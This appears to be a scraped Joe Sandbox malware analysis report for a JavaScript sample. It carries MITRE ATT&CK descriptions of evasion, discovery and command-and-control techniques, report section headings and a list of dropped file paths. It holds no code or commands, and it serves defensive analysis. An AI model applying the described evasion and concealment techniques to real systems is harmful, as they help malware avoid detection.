Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 21092429235262508.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\40b82bf0-83ca-45ab-9829-b95c1e68754d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5584

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
21092429235262508.js